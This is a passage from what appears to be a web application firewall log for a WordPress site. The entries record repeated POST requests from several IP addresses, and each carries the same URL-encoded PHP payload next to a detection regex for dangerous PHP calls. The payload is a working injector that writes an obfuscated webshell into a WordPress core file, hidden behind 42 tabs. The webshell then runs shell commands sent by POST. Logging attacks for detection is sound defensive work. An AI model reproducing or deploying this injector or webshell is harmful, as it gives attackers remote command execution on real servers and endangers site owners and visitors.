Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\nMS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:58:59","163.172.31.86","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-length:7160\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\n\nyV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:59:19","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\ncontent-length:7160\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft 